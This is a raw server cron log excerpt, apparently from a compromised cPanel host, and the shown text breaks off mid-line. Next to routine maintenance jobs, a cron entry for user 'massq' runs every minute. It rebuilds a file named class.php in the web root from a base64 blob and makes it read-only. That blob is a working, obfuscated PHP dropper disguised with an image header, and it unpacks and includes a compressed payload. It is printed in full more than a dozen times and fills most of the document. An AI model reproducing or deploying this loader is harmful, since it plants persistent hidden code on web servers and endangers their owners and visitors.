"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:55:01 server CROND[16156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:55:01 server CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:55:01 server CROND[16158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:56:01 server CROND[16278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:57:01 server CROND[16423]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 21:57:01 server CROND[16422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:58:01 server CROND[16486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:59:01 server CROND[16530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:00:01 server CROND[16592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 22:00:01 server CROND[16596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:00:01 server CROND[16595]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:00:01 server CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 22:00:01 server CROND[16598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:01:01 server CROND[16714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:01:01 server CROND[16715]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 22:01:01 server run-parts(/etc/cron.hourly)[16715]: starting 0anacron
Apr 11 22:01:01 server run-parts(/etc/cron.hourly)[16728]: finished 0anacron
Apr 11 22:02:01 server CROND[16769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:03:01 server CROND[16912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:04:01 server CROND[16955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:05:01 server CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 22:05:01 server CROND[17020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:05:01 server CROND[17021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 22:05:01 server CROND[17022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 22:06:01 server CROND[17127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 22:07:01 server CROND[17169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmK